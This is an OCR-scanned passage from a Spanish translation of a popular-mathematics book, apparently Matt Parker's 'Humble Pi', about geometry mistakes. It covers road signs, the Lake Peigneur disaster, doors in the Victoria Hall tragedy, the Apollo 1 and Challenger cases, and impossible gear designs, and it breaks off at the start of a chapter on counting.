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Yo los describo como mis «calcetines planos».

Esto no excluye la posibilidad de que las sefiales viales muestren una
forma exdtica que parecen ser hexagonos en el lado que mira hacia nosotros,
pero que tenga otras formas locas en su parte trasera. Después de quejarme de
esto a través de internet, algunas personas representaron esas formas locas
creyendo erroneamente que me harian sentir mejor. Aprecio el esfuerzo. Pero
no lo consiguieron.

Y, con todo esto, la gente iba firmando la peticién, y poco después ya
habia llegado a las diez mil firmas requeridas y empecé a esperar
ansiosamente la respuesta del gobierno.

Cuando llegd, no fueron buenas noticias:

Cambiar el disefio para que este muestre una geometria precisa no es pertinente en este
contexto.

Gobierno del Reino Unido, Departamento de Transporte

Rechazaron mi solicitud. jCon una respuesta bastante desdefiosa!
Alegaron que: 1. la geometria correcta seria algo tan sutil que «no se
percatarian de ello la mayoria de los conductores», y 2. distraeria tanto a los
conductores que podria «incrementar el riesgo de accidentes».

Y me dio la impresion de que ni siquiera se habian leido la peticion
adecuadamente. A pesar de que solo pedia que se cambiaran las sefiales
nuevas, finalizaban su respuesta con: «Ademas, la financiacién publica
necesaria para cambiar en todo el pais las sefiales en las que aparece una
pelota seria una carga financiera irracional para las autoridades locales».
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Asi que las sefiales siguen siendo incorrectas. Pero, al menos, ahora tengo
una carta del gobierno del Reino Unido en la que se dice que no creen que
unas matematicas precisas sea algo importante y que no creen que las sefiales
viarias tengan que seguir las leyes de la geometria.

Calculos erroneos

Hay mas de una forma de cometer un error geométrico. Para mi, la menos
interesante es cuando la teoria geométrica estd bien fundamentada, pero
alguien realiza mal un calculo a la hora de realizar el trabajo (aunque esa
clase de errores puede tener algunas consecuencias muy espectaculares).

En 1980, la compafiia petrolera Texaco estaba llevando a cabo unas
prospecciones petroliferas en el lago Peigneur, en Luisiana. Habian
triangulado minuciosamente la localizacion para perforar en busca de
petroleo. La triangulacion es un proceso con el que se calculan triangulos
desde puntos y distancias fijos para poder localizar algiin nuevo punto de
interés. En este caso, era importante porque la Diamond Crystal Salt
Company ya estaba excavando bajo el suelo del lago y Texaco tenia que
evitar perforar en las minas de sal preexistentes. Spoiler: hicieron mal los
calculos. Pero los resultados fueron mucho mas dramaticos de lo que usted
pueda estar imaginando.

Segun Michael Richard, que era el director de los cercanos jardines Live
Oak Gardens, uno de los puntos de referencia de la triangulacion era erroneo.
Este desplazd la perforacion petrolifera unos 120 metros mas cerca de las
minas de sal de lo que deberia estar. Perforaron hasta los 370 metros antes de
que la plataforma de perforacion del lago Peigneur empezara a inclinarse
hacia un lado. Los perforadores decidieron que era inestable, asi que la
evacuaron. Légicamente, a los mineros les sorprendié todavia mas cuando
empezaron a ver que el agua se dirigia hacia su posicion.

El agujero de perforacion solo tenia 36 centimetros de ancho, pero era
suficiente para que el agua fluyera desde el lago Peigneur hacia las minas de
sal. Gracias al buen entrenamiento en seguridad, todo el equipo de mineros
compuesto por unas cincuenta personas pudo salir sano y salvo. Pero ¢cuanta
agua podia albergar la mina? El lago tenia un volumen de unos 10 millones de
metros cubicos de agua. Pero se estaba extrayendo la sal de debajo desde
1920 y las minas tenian ahora un volumen mayor que el volumen del lago
superior.

A medida que el agua iba penetrando, la tierra se iba erosionando y la sal
se iba disolviendo. Pronto, el agujero de 36 centimetros se convirtio en un
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remolino furioso de 400 metros de diametro. No solo vaci6 todo el lago en la
mina de sal, sino que el canal que unia el lago al golfo de México cambio6 de
direccion y el agua empezo a fluir en la direccion contraria, hacia el lago,
formando una cascada de 45 metros. Once barcazas que estaban en el canal
fueron arrastradas hacia el lago y cayeron a la mina. Dos dias mas tarde, la
mina estaba completamente llena y nueve de esas barcazas reflotaron de
nuevo a la superficie. El remolino habia erosionado unas 28 hectareas de la
tierra colindante, incluyendo una buena parte de Live Oak Gardens. Sus
invernaderos siguen alli abajo, en alguna parte...

Por culpa del error en el calculo de un tridngulo, un lago de agua dulce
que solo tenia 3 metros de profundidad se vacié por completo y se rellen6 con
agua del océano. Ahora es un lago de 400 metros de profundidad de agua
salada, lo que ha producido un cambio completo en cuanto a plantas y vida
salvaje. Lo increible es que no se perdiera ninguna vida humana, aunque uno
de los pescadores que estaba en la orilla del lago se llevo el susto de su vida
cuando las pacificas aguas del lago se abrieron formando un remolino furioso.

Aunque un error de calculo puede ser tan devastador como lo que
acabamos de contar, me interesan mas los errores de geometria en los que
alguien no ha pensado adecuadamente sobre las formas implicadas,
situaciones en las que la propia geometria es erronea, no solo su aplicacion.
Lo que nos lleva a hablar de uno de mis hobbies favoritos: encontrar fotos de
la luna en las que hay estrellas que brillan a través de ella.

Una luna sin estrellas

Puede que la Luna sea una esfera, pero, desde donde la vemos, parece un
circulo. O, dicho con mas propiedad, un disco. (En matematicas, un circulo y
un disco son cosas diferentes: un circulo es solo la linea que rodea una
circunferencia, y un disco esta completamente lleno. Un frisbee es un disco;
un hula hoop es un circulo. Pero voy a utilizar esas palabras indistintamente,
como suele ocurrir en el lenguaje habitual.)

Por lo que, cuando la observamos desde la Tierra podemos ver el disco de
la Luna, al menos cuando esta en su fase de luna llena. En ese momento la
Luna esta en el lado mas alejado de la Tierra desde el Sol y puede estar
completamente iluminada. Siempre que la Luna esté en medio, estara siendo
iluminada lateralmente y solo veremos partes de ella iluminadas. Es la tipica
luna creciente del arte y la literatura. Pero se trata tan solo de un efecto de luz.
En realidad, la Luna no tiene forma de media Luna.
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Incluso cuando no podemos ver partes de ella, siguen estando fisicamente
alli. Durante la fase de luna nueva, cuando esta completamente iluminada
desde atras, aparece solo como un circulo negro, sin estrellas a su alrededor
en el cielo. Pero cuando, en ocasiones, no podemos verla, ahi sigue como
silueta. Razon por la que me enfado cuando se muestra una luna creciente,
jcon estrellas visibles a través de su parte central!

Barrio Sésamo es un reincidente. En la portada del libro de Blas No
quiero vivir en la Luna, aparecen estrellas brillando en medio de una luna
creciente. Y en la parte titulada «C en el espacio», la Luna parece
sorprendentemente feliz, a pesar del hecho de que hay estrellas brillando a su
través. De acuerdo, si, que la Luna tenga una expresion y emociones tampoco
es apropiado astronomicamente hablando, pero eso no es excusa para ensefar
a los nifios geometria de forma incorrecta. Espero mas de un programa
supuestamente «educativo». La tnica explicacion que se me ocurre es que, en
el extenso universo Barrio Sésamo, existen bases de telefiecos en la Luna y
esos son los puntos de luz que vemos.

(SESAME STREE] 1 l_)nn : u <
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El dibujo tiene sentido solo si suponemos que los puntos son estaciones lunares.

Y aun peor. Hay matriculas de vehiculos de Texas que celebran la
presencia de la NASA en el estado de la Estrella Solitaria. El transbordador
que despega a la izquierda es sorprendentemente preciso, ascendiendo hacia
un lado en lugar de hacerlo directamente hacia arriba. Esto podria parecer
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incorrecto, pero el transbordador espacial necesitaba una gran cantidad de
velocidad lateral para ser capaz de ponerse en Orbita. El espacio no esta tan
lejos: mientras escribo esto, la Estacién Espacial Internacional esta a una
altitud de solo 422 kilémetros. Pero para que algo permanezca en Orbita
necesita moverse alrededor de la Tierra a una velocidad de unos 27.500 km/h;
es decir, 7,6 km cada segundo. Ir al espacio es facil. Mantenerse en €l es lo
dificil.

Pero a la derecha de la matricula hay una luna creciente e,
inquietantemente cerca de ella, hay una estrella. A simple vista, parece que la
estrella esta brillando a través de lo que seria el disco de la Luna. Tenia que
comprobarlo para estar seguro, asi que compré en linea algunas matriculas de
Texas en desuso para inspeccionarlas minuciosamente. Decidi estudiar la
matricula 99W CD9, y escaneé y completé digitalmente el resto de la Luna.
Y, en efecto, la estrella solitaria debe estar oculta por la Luna. En este caso,
WCD son las iniciales de «Wrong Celestial Design» (Disefio Celeste
Erroneo).
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e
Contiene noventa y nueve disefnios celestes erréneos, pero el lanzamiento no es uno de ellos.

Las puertas de la muerte

Encuentro que la geometria de las puertas, cerraduras y cerrojos es fascinante.
Pensara que asegurar la propiedad de uno es algo que hay que tomarse muy
en serio, pero al parecer mucha gente no piensa en la dinamica de como
funcionan puertas y verjas. Me encanta ver que hay gente que ha comprado
un gran cerrojo pero que ha dejado los tornillos que lo sujetan al descubierto.
O que hayan dejado el espacio suficiente para que se pueda deslizar el
candado sin tener que abrirlo. Si encuentra alguno de estos ejemplos, por
favor mandeme una foto. Y, sin duda, eche un vistazo de mdas cerca siempre
que piense que algo esta «cerrado». Puede que no lo esté.

Historia hipotética: mi esposa y su familia estaban visitando su hogar
natal y me llevaron a ver el cementerio local, donde estaba enterrado un
querido miembro de la familia. Aunque no comprobamos (hipotéticamente) el
horario de apertura del cementerio y sus puertas estaban cerradas. Me fijé en
la puerta y me di cuenta de que, si levantabas una parte del cerrojo, las puertas
quedaban libres del candado. Quiero decir, si eso hubiera ocurrido en la
realidad (en lugar de hipotéticamente), hubiera sido el héroe del dia (y luego,
por supuesto, habria vuelto a «cerrar» respetuosamente la puerta después de
presentar nuestros respetos).

Estos son errores de aficionado en los que a alguien le han hecho colocar
una cerradura y este no lo ha pensado mucho. Afortunadamente, hoy en dia
un experto habrad planificado cémo han de ser las entradas y salidas de un
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edificio, pero no siempre fue asi. Muchas vidas se han salvado o perdido
como consecuencia de la sencilla geometria de la forma en la que deberia
abrirse una puerta.

Montaje incorrecto y correcto de un cerrojo: ¢Se ha olvidado las llaves? No hay problema, solo tiene
que quitar un par de tornillos y ya estd.

Como regla general, las puertas se deberian abrir en la direccion necesaria
en caso de que hubiera una emergencia. Dada la localizacion de las bisagras,
una puerta se abre facilmente en una sola direccién; toda entrada tiene un
sentido u otro. A una puerta o le encanta dejar que la gente entre en la
habitacion o amablemente saca a todo el mundo de ella. La mayoria de las
puertas de una casa se abren hacia las habitaciones (para evitar que la puerta
bloquee un sal6n), por lo que es ligeramente mas facil entrar en una
habitacion que salir de ella. La mayor parte del tiempo, esto no supone
problema alguno: esperas un par de segundos para abrir la puerta hacia ti y
luego sales. Ni siquiera pensamos en ello. Hasta que hay cientos de personas
ademas de ti intentando hacer lo mismo.
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Ahora estara esperando que cuente una historia sobre un incendio y sobre
un montén de gente intentando salir a toda velocidad de un edificio. Pero no
lo voy a hacer. La direccién en la que se mueve una puerta puede ser igual de
importante sin necesidad de que se haya producido un incendio que desate el
panico. En 1883, el teatro Victoria Hall de Sunderland, cerca de Newcastle,
estaba albergando un espectaculo de The Fays que aseguraba ser «la mayor
diversion de la historia para nifios». Alrededor de dos mil nifios, entre siete y
once afios, la mayor parte de los cuales sin la supervision adecuada, estaban
abarrotando el teatro. No se prendié ningun fuego, pero ocurrié algo que
provoco igualmente histeria a un grupo de estas edades. Fue la promesa
repentina de juguetes gratis.

Los nifos de la planta baja recibian sus juguetes directamente desde el
escenario, pero los 1.100 nifios de la planta superior tuvieron que bajar por las
escaleras para ir recibiendo sus juguetes a medida que iban abandonando el
edificio ensefiando el nimero de su entrada cuando salian. Las puertas
situadas al final de las escaleras no solo se abrian hacia dentro, sino que
también las habian dejado entreabiertas y las habian fijado para que solo
pudiera pasar un nifio cada vez, haciendo mas facil la comprobacién de las
entradas. Sin los suficientes adultos para controlar la cola, los nifios bajaron a
toda prisa por las escaleras para ser los primeros en salir. Murieron ciento
ochenta y tres nifios en la aglomeracion que se formé contra las puertas.

Fue necesaria hora y media para evacuar a todos los nifios del hueco de la
escalera. Los rescatadores intentaron retirar frenéticamente a los nifios uno a
uno a través del hueco de las puertas; fueron incapaces de abrir la puerta en
direccion al hueco de la escalera para permitir asi salir a los nifios. Las
muertes se produjeron por asfixia. Como suele ocurrir en todas las estampidas
humanas, los nifios que empujaban hacia delante en la parte superior de las
escaleras no tenian ni idea de que la gente de abajo no tenia adénde ir.

Puede que resulte facil distanciarnos de estos nifios. Murieron hace mas
de un siglo. Para recordarme a mi mismo que eran personas reales, me fijo en
la lista de sus nombres. Al repasarla, encuentro a Amy Watson, una nifia de
trece afios que se llevo a sus hermanos pequefios Robert (de doce) y Annie
(de diez) al espectaculo. Su casa estaba a media hora caminando, atravesando
la ciudad y cruzando el rio hasta llegar al teatro. Los tres murieron en la
tragedia.

Si las puertas se hubieran podido abrir de forma facil y por completo en
una emergencia como esa, las victimas podrian haber sido muchas menos;
puede que incluso no hubiera habido ninguna. Esto, por supuesto, se le
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ocurrio a todo el mundo en los dias posteriores y, después de una protesta
nacional (dos investigaciones fracasaron a la hora de encontrar un culpable),
el Parlamento del Reino Unido aprobo6 leyes que obligaban a que hubiera
puertas de salida que se abrieran hacia fuera. Inspirada en el incidente del
Victoria Hall, se invent6 la «barra antipanico de empuje», gracias a la cual se
podia cerrar una puerta desde el exterior por razones de seguridad, pero se
podia abrir desde dentro con un simple empujon.

Estados Unidos sufri6 sus propios desastres, en este caso, fuegos en lugar
de promesas de juguetes gratis. Un fuego desatado en el teatro Iroquois de
Chicago en 1903 mat6 a 602 personas y, hasta el dia de hoy, es el fuego
producido en un tunico edificio que ha matado a mas personas en toda la
historia de Estados Unidos. El material y el disefio del edificio favorecieron el
rapido avance de las llamas, pero las pocas salidas utiles, que ademas se
abrian hacia dentro, contribuyeron a la tragedia. L.os cambios posteriores que
se realizaron en el codigo de incendios obligaban a que, en los edificios
publicos, las puertas se abrieran hacia fuera, pero hizo falta un tiempo para
que su implementacion fuese generalizada. En el fuego de 1942 que se
propagd por el Cocoanut Grove Night Club de Boston, murieron 492
personas. Los bomberos atribuyeron directamente trescientas de esas muertes
a las puertas que se abrian hacia dentro.

La cuestion de hacia qué lado se deberian abrir las puertas en otras
situaciones no es tan obvia. ;Qué decir en el caso de una nave espacial?
Durante el programa Apolo, la NASA tuvo que decidir si las escotillas de la
cabina de la nave espacial se tenian que abrir hacia dentro o hacia fuera. Una
puerta que se abriera hacia fuera seria mas sencilla de manejar para la
tripulacion y se podia equipar con cinturones explosivos que se podian hacer
estallar en caso de emergencia, por lo que esa fue la eleccién inicial. Pero
después del amerizaje en el océano del segundo viaje tripulado de la NASA,
Mercury-Redstone 4, la escotilla se abrio inesperadamente y el astronauta Gus
Grissom tuvo que salir porque el agua del mar empez6 a inundarla.

Por lo que la cabina de la primera nave espacial Apolo tuvo una escotilla
que se abria hacia dentro. La cabina se mantenia ligeramente por encima de la
presion atmosférica y esta diferencia de presion ayudaba a mantener la
escotilla cerrada. Salir de la nave espacial implicaba liberar la presion que
mantenia cerrada la escotilla. Pero durante el inicio de un ensayo general (en
el que la nave espacial estaba desconectada de los sistemas de apoyo y a plena
potencia para probarlo todo excepto el despegue real), se desaté un incendio.
Un entorno rico en oxigeno, y el nailon y el velcro inflamables (utilizados
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para mantener el equipamiento en su lugar), hicieron que las llamas se
propagaran rapidamente.

El calor provocado por el fuego aument6 la presion del aire en la cabina
hasta el punto de que era imposible abrir la escotilla. Los tres astronautas que
estaban en el interior, Gus Grissom, Edward White II y Roger Chaffee, se
vieron atrapados y murieron por la asfixia causada por el humo toxico.
Hicieron falta cinco minutos para abrir la escotilla de la cabina y rescatar a la
tripulacion.

Mas tarde se supo que los astronautas del Apolo ya habian pedido que las
escotillas se abrieran hacia afuera, para asi poder salir mas facilmente a
realizar sus paseos espaciales. Después de la investigacion sobre el incendio,
ademas de cambiar la concentracion de oxigeno y los materiales utilizados en
la cabina, en todos los vuelos espaciales tripulados de la NASA las escotillas
se cambiaron para que se abrieran hacia afuera por razones de seguridad.

Esta tragedia condujo a una peculiaridad numérica de las misiones Apolo.
Aunque la nave espacial nunca fue lanzada, la mision a cargo de Gus
Grisoom, Edward White II y Roger Chaffee fue nombrada en retrospectiva
Apolo 1 como muestra de respeto hacia ellos, en lugar de mantener su nombre
en clave, AS-204. Oficialmente, el primer lanzamiento real es el que deberia
haberse llamado Apolo 1 pero, debido a lo sucedido, se declar6 que el AS-204
fue el primer vuelo oficial de las misiones Apolo, a pesar de que «fall6 en la
prueba en tierra». Este suceso causé un extrafio efecto colateral porque, ahora,
dos lanzamientos no tripulados previos (el AS-201 y el AS-202; el AS-203
fue una prueba con cohetes y por lo tanto no contaba como lanzamiento
oficial) eran también, en retrospectiva, parte del programa Apolo, aunque
nunca recibieron una denominacion Apolo. Por lo tanto, el primer
lanzamiento tripulado recibié el nombre de Apolo 4, lo cual constituye una
curiosa cuestion de cultura general, ya que el Apolo 2 y el Apolo 3 nunca
existieron.

Mas que simples juntas toricas

Cuando el 28 de enero de 1986 la lanzadera espacial Challenger exploté poco
después de su despegue matando a las siete personas que estaban a bordo, se
cre6 una Comision Presidencial para investigar las causas del desastre.
Ademas de incluir en ella a Neil Armstrong y Sally Ride (la primera mujer
estadounidense en el espacio), en dicha comisién también estaba el fisico
ganador del premio Nobel, Richard Feynman.
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El Challenger explot6 debido a una fuga producida en uno de sus cohetes
propulsores solidos. Para el despegue, la lanzadera tenia dos cohetes de ese
tipo, cada uno de ellos con un peso de unas 500 toneladas y, por increible que
parezca, utilizaban metal como combustible: quemaban aluminio. Una vez
que se gastaba el combustible, los cohetes propulsores solidos se soltaban de
la lanzadera a una altitud de unos 40 kilometros para después desplegar un
paracaidas con el que amerizaban en el océano Atlantico. Esos cohetes se
reutilizarian, por lo que la NASA enviaria barcos para que los recogiesen y
asi poder reacondicionarlos y recargarlos.

Cuando los cohetes se estrellaran contra el océano, no serian mas que
tubos practicamente vacios. Se habian construido con una seccion transversal
perfectamente circular, pero el impacto podia deformarlos ligeramente, como
también podia tener esa consecuencia transportarlos sobre uno de sus
costados. Como parte de la restauracion, se desmontaban en cuatro secciones,
se comprobaba cuan deformados estaban, se les volvia a dar una forma
perfectamente circular y se ensamblaban. Se colocaban unas juntas de goma
llamadas juntas tdricas entre las secciones para proporcionar un sellado
hermético.

Fueron estas juntas téricas las que fallaron durante el lanzamiento del
Challenger, permitiendo que escaparan los gases calientes de los propulsores,
con lo que empezo6 una cadena de sucesos que condujeron a su destruccion.
Como todo el mundo sabe, durante la investigacién, Richard Feynman
demostré como las juntas toricas perdieron elasticidad a bajas temperaturas.
Era fundamental que, a medida que las distintas secciones del propulsor se
movieran, los anillos retrocedieran para mantener el sellado. Frente a los
medios de comunicacion, Feynman colocé parte de la goma de la que estaban
formadas las juntas en un vaso de agua helada y demostré que ya no
recuperaban su posicion. Y el dia del lanzamiento, el 28 de enero, fue un dia
muy frio. Caso cerrado.

Pero Feynman también descubrié un segundo problema con el sellado
entre las distintas secciones del propulsor, un sutil efecto matematico que no
se podria haber demostrado con la cautivadora visiéon de la goma deformada
en un vaso de agua helada. Comprobar si una seccion transversal de un
cilindro sigue siendo circular no es tan facil. Para los propulsores, el
procedimiento para hacerlo fue medir el diametro entre lugares diferentes y
asegurarse de que los tres eran iguales. Pero Feynman se dio cuenta de que
con esto no bastaba.
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Cuando escribio sobre su investigacion, Feynman recordé cuando de nifio
vio en un museo «ruedas dentadas no circulares, de aspecto peculiar y con
figuras extrafias» que permanecian a la misma altura mientras rotaban. No
dijo su nombre, pero inmediatamente supe que eran «figuras de ancho
constante». Me encantan estas figuras y ya he escrito extensamente sobre
ellas anteriormentell. A pesar de no ser circulos, siempre tienen un didmetro
medido este en cualquier direccion.

Es obvio que la figura 17 dibujada por Feynman en su informe, no es un
circulo, pero si que tiene tres diametros idénticos. Podria haber ido un paso
mas lejos. Se pueden realizar miles de medidas de diametros en una figura de
ancho constante, como es el triangulo Reuleaux, y podrian todos ser iguales, a
pesar de que la figura dista mucho de ser circular.

Si un propulsor se habia deformado convirtiéndose en una seccion
transversal de un triangulo de Reuleaux, los ingenieros tendrian que haber
sido capaces de percatarse de ello facilmente, pero esta clase de deformacién
puede producirse en una escala mucho mas pequefa; podria no ser visible a
simple vista y, aun asi, seguir siendo una deformaciéon que pudiera cambiar la
forma de la junta. Las figuras de ancho constante a menudo tienen una
protuberancia en un lado y una seccién plana en el otro para compensar.

FIGURA 17. Los didmetros de
esta forma miden exactamente lo
mismo, aungue jes obvio que no es
circular!

La figura de Feynman con tres didmetros idénticos junto a otra figura que tiene infinitos. Estd claro
que ninguna de las dos es un circulo.
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Feynman consiguio estar un rato a solas con los ingenieros que trabajaron
con estas secciones de los propulsores. Les pregunt6 si, incluso después de
medir los diametros (confirmando con ello que la forma era perfectamente
circular), seguian teniendo esas deformaciones a base de protuberancias y
partes planas.

«jSi, sil», respondieron. «Vimos protuberancias como esa. Las llamamos
pezones.» Este, de hecho, era un problema que se producia regularmente, pero
no parecia que se hubiese hecho algo al respecto. «Nos encontrabamos con
pezones todo el rato. Hemos intentado contarselo al supervisor, jpero nada de
nada!»

El informe final confirma todo esto. El funcionamiento de las juntas
toricas fue claramente la causa primera del accidente y sigue siendo la
conclusion que aparecié en todos los titulares que la mayoria de gente
recuerda. Pero, ademas de la conclusion respecto a las juntas toricas y las
recomendaciones sobre como deberia gestionar la NASA la comunicacion
entre los ingenieros y la direccion, también hay una Conclusion #5: «Se
observd que la zona existente entre los dos segmentos no era perfectamente
redonda». La NASA derrotada por simple geometria.

Por una rueda dentada

Como antiguo profesor de instituto, tengo un poster en mi despacho que
proclama que «La educacién funciona mejor cuando todos sus componentes
funcionan». Muestra tres ruedas dentadas con las etiquetas «profesor»,
«estudiante» y «padres», todos unidos. Este poster se ha convertido en un
meme de internet con la descripcién «mecanicamente imposible, aunque
preciso» porque las tres ruedas dentadas conectadas no se pueden mover.
Nada de nada. Se quedan bloqueadas. Si queremos que se muevan, hay que
quitar una de las tres (segun mi experiencia: los padres).

El problema es que, si una rueda dentada funciona en el sentido de las
agujas del reloj, cualquier otra que esté unida a ella tendra que girar en el
sentido contrario. Los dientes encajan juntos, por lo que, si la rueda de «los
profesores» va en el sentido de las agujas del reloj, los dientes de la derecha
empujaran a los dientes del lado izquierdo de la rueda «estudiantes» hacia
abajo, haciendo que esta gire en el sentido contrario a las agujas del reloj. El
problema es que los dientes de la rueda «profesores» también estan unidos a
las demas ruedas, haciendo que todo se pare, como ocurre con las jornadas
destinadas a que se retinan profesores y padres.
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Education works
best when all tlll.legparts

are working.

Los posteres motivacionales funcionan mejor cuando todos sus componentes son geométricamente
verosimiles.

Para que un mecanismo de tres ruedas como este funcione, dos de ellas no
tienen que tocarse. Cuando el Metro de Manchester edité un poster en el que
representaba las zonas de la ciudad funcionando juntas, la gente redisefi6 las
ruedas en 3D de tal forma que pudieran girar al unisono. En este ejemplo, los

dientes de las ruedas 2 y 3 ya no se tocan entre si, por lo que todo puede
moverse.
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Haciendo oCengy

que la dudad e L5 1y, Ol
funcione on 0N
conjuntamente Sintomep po

Ojald fuera asi de facil arreglar el transporte publico de Manchester.

Pero a veces no tiene arreglo. El periodico USA Today public6 una
historia en mayo de 2017 sobre la decision del presidente Trump de
renegociar el Tratado de Libre Comercio de América del Norte entre Estados
Unidos, Canada y México. En este caso, las ruedas ya estaban dibujadas en
3D y eran inequivocamente imposibles. El articulo analizaba lo beneficioso
que podia ser para todos los paises miembros llegar a un acuerdo y lo dificil
que resulta que los tres paises trabajen conjuntamente. Por lo que todavia no
tengo claro si la disposicién de las tres ruedas fue o no fue un error.

Haciendo que las ruedas chirrien otra vez.
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Afiadir ruedas solo empeora las cosas. Nunca ponga «engranaje trabajo en
equipo» como término de busqueda en una web de almacenaje de imagenes.
Para empezar si usted no esta utilizando el mundo cursi de los posteres
motivacionales, lo que vera le impactara. La siguiente sorpresa sera que un
montén de diagramas que se supone que han de mostrar que un equipo trabaja
como una maquina bien engrasada utiliza un mecanismo que esta atascado
indefinidamente.

Los engranajes y los mecanismos que han de funcionar como un reloj son
un ejemplo tipico de cosas que funcionan juntas al unisono; esa es la razon
por la que se utilizan en tantos pésteres motivacionales que se exponen en los
centros de trabajo. Pero he aqui la cuestion: los mecanismos que funcionan
como un reloj son complicados. Son dificiles de fabricar: una parte en el lugar
incorrecto y todo deja de funcionar. Cuanto mas pienso sobre ello, mas
convencido estoy de que si que representa una gran analogia de un equipo de
trabajo.

Estaba dispuesto a pagar por una imagen de stock para utilizarla en este libro. Esta es mi favorita. La
descripcion que la acompafia es: «Modelo de figuras 3D sobre ruedas dentadas conectadas como
metdfora de lo que es un equipo».
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Pero, para ser honestos, un jchoca esos cinco! a cuatro manos como simbolo de trabajo en equipo
plantea incluso mds problemas geométricos.

En 1998, en el periodo previo al cambio de milenio, en el Reino Unido se
puso en circulacion una nueva moneda de 2 libras. Se organiz6 una
competicion para disefar el reverso de la nueva moneda (la cara de la reina,
por defecto, tenia que ir en el disefio del anverso), y gan6 Bruce Rushin, un
profesor de arte de Norfolk. Bruce disefi6 una serie de aros concéntricos, cada
uno de ellos representando una edad tecnolégica diferente de la humanidad.
La de la revolucion industrial estaba representada por un anillo de diecinueve
ruedas dentadas. Ya se puede imaginar hacia donde va esto, o, mejor dicho,
como esto no va a ninguna parte.

Una cadena de ruedas dentadas girara en el mismo sentido que las agujas
del reloj, en el sentido contrario, luego en el mismo..., y asi sucesivamente.
Por lo que, si el conjunto es cerrado, tiene que haber un niamero par de ruedas
para que cada una de ellas se una a otra que gira en sentido contrario.
Cualquier nimero impar de ruedas en un bucle hara que este se pare. Las
diecinueve ruedas de la moneda de 2 libras estarian totalmente bloqueadas y
no podrian moverse.

Por supuesto, internet se percato bastante rapidamente del problema que
sufria la nueva moneda. Las personas que se quejaron en linea cubrian todo el
habitual espectro, desde los curiosos hasta los insufribles engreidos. Alguien
incluso consiguié obtener una respuesta oficial de la Real Casa de la Moneda
sobre la inverosimilitud del disefio:
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La idea del disefio es representar el desarrollo de la tecnologia a lo largo de la historia, pero no
pretende que funcione en el sentido literal. El artista queria transmitir esta idea de forma
simbdlica por lo que no crey6 que el nimero de ruedas en uno de los anillos del disefio fuese un
asunto importante.

Real Casa de la Moneda

Todo esto parece ser un caso claramente cerrado. Puedo aceptar que,
cuando se trata de una decision artistica, comprobar que algo funciona
fisicamente no es una prioridad del artista. No me quejo de que el trabajo de
Picasso sea biologicamente inverosimil o mandar a Salvador Dali cartas de
protesta sobre el punto de fusién de los relojes.

Pero, aun asi, la forma en que se producen esta clase de errores triviales
sigue despertando mi curiosidad. Pensé que podia buscar rapidamente al
artista y ver si podia pedirle educadamente si por su cabeza habia pasado en
algiin momento la cuestion de la funcionabilidad fisica de su disefio.

Lo que encontré me sorprendio. En el sitio web de Bruce Rushin esta el
disefio original que gano el concurso a finales de la década de 1990: tiene
veintidos ruedas. jHabria funcionado! En algin momento del proceso de
disefio, se cayeron tres de ellas.

El centro del disefio original de Bruce con las tres ruedas que faltan en la moneda definitiva.

Hablé con Bruce, y si que le habia preocupado el nimero de ruedas, a
pesar de haber pensado que no era algo importante. Su disefio original era
mecanicamente correcto, no porque pensase que era mejor, sino, mas bien,
para evitar correos electronicos de personas a las que eso pudiera enfadar.
Cuando la Real Casa de la Moneda convirtio el disefio de Bruce en una
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moneda real de tan solo 28,4 milimetros de ancho, tuvieron que eliminar
algunos detalles finos, y tres ruedas fueron victimas de esta simplificacion.

Si que pensé en ello, en que, si una rueda giraba en el sentido de las agujas del reloj, las
adyacentes girarian en el sentido contrario. Sin embargo, después de todo, al ser tan solo un
disefio, no un proyecto que tiene que funcionar, no es tan importante. Supuse que alguien se
percataria de ello, por lo que mantuve el ntimero par.

También me parece que resume muy bien la diferencia que existe entre artistas e ingenieros.
iTengo licencia artistica!

Me cuesta decidir si me alegr6 o me avergonzé el hecho de que Bruce
tuviera que valorar las implicaciones de su visién artistica porque sabia que
de otra forma recibiria protestas. Soy un gran partidario de la idea de que las
restricciones ayudan a estimular la creatividad, por lo que, teniéndolo todo en
cuenta, me parece correcto. Siempre hay espacio para que florezca la
creatividad. Incluso si se trata de pedantes que se quejan creativamente sobre
problemas triviales.
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Cinco

NO PUEDES CONTARLO

Se podria decir que contar es la parte mas facil de las matematicas. Asi
empezaron: con la necesidad de contar cosas. Incluso aquellos que aseguran
que son malos en matematicas aceptan que saben contar (aunque sea con sus
dedos). Ya hemos visto como pueden complicarse los calendarios, pero todos
estamos de acuerdo en que podemos contar cuantos dias hay en una semana.
Es asi, ¢no?

Una de las mayores discusiones de todos los tiempos en internet empezo
con una simple pregunta sobre ir al gimnasio y acabé con una pelea a gritos
virtual sobre cuantos dias tiene una semana.

En el foro de discusion de Bodybuilding.com alguien con el nombre de
usuario mlndless pregunt6 cuantos dias por semana era seguro realizar un
entrenamiento integral. Parece ser que solia realizar entrenamientos para la
parte superior y para la parte inferior en dias alternos, pero, ahora, debido a la
falta de tiempo, queria saber si existia alglin riesgo en hacerlo todo el mismo
dia, y asi poder ir menos veces al gimnasio. Sé como se siente: yo divido mis
dias entre geometria y algebra.

El consejo general que dieron los usuarios (todos profesionales y de
Vermont) parece que fue que la mayoria de las rutinas de culturismo para
principiantes incluyen tres tandas integrales por semana, por lo que deberia
estar bien para un nivel mas avanzado e intenso. M1ndless parecié satisfecho
con este consejo y solo afiadié que entrenaba cada dos dias, por lo que eso
significaba que «estaria en el gimnasio entre cuatro y cinco veces por
semana». El usuario steviekm3 sefiald que «solo hay siete dias en una
semana. Si vas cada dos dias, son 3,5 dias por semana», y todo parecié quedar
claro.

M1ndless no dijo nada mas.

Porque el que entré en escena fue TheJosh. No estaba satisfecho con la
frase de steviekm3 de que ir cada dos dias significaba ir 3,5 veces por
semana. Segun su experiencia, entrenar cada dos dias implicaba estar en el
gimnasio cuatro veces por semana:

Lunes, miércoles, viernes, domingo. Eso son 4 dias.

¢Coémo vas a ir 3,5 veces? ¢Haces medio entrenamiento o algo asi? lol
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TheJosh

Antes de que steviekm3 se pudiera defender por si mismo, Justin-27
acudi6 con aire triunfal al rescate, sefialando que la respuesta correcta es, de
hecho, 3,5 veces por semana como promedio: «7x en 2 semanas = 3,5 veces
por semana, genio». Y afiadi6 que tres entrenamientos por semana deberian
ser suficientes (el dltimo consejo relacionado con el culturismo que ibamos a
ver en este hilo).

A TheJosh no le gustd que el recién llegado Justin-27 no estuviera de
acuerdo con él, y decidi6 aclarar con exactitud por qué «cada dos dias» es
cuatro veces por semana. Steviekm3 reapareci6 brevemente para apoyar a
Justin-27 y defender su posicion inicial, pero volvié a desaparecer en un
santiamén. A continuacion, TheJosh y Justin-27 empezaron a discutir cuantos
